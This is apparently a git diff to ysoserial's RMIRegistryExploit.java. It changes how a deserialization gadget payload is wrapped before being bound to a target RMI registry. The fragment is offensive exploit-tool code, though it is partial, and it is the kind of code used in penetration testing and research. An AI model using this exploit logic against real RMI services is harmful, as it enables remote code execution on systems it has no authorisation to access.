diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index a8c350c4..3fef773a 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -72,7 +72,15 @@ public static void exploit(final Registry registry, ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); - Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); + + Remote remote; + + if (Remote.class.isAssignableFrom(payload.getClass())) { + remote = (Remote) payload; + } else { + remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); + } + try { registry.bind(name, remote); } catch (Throwable e) {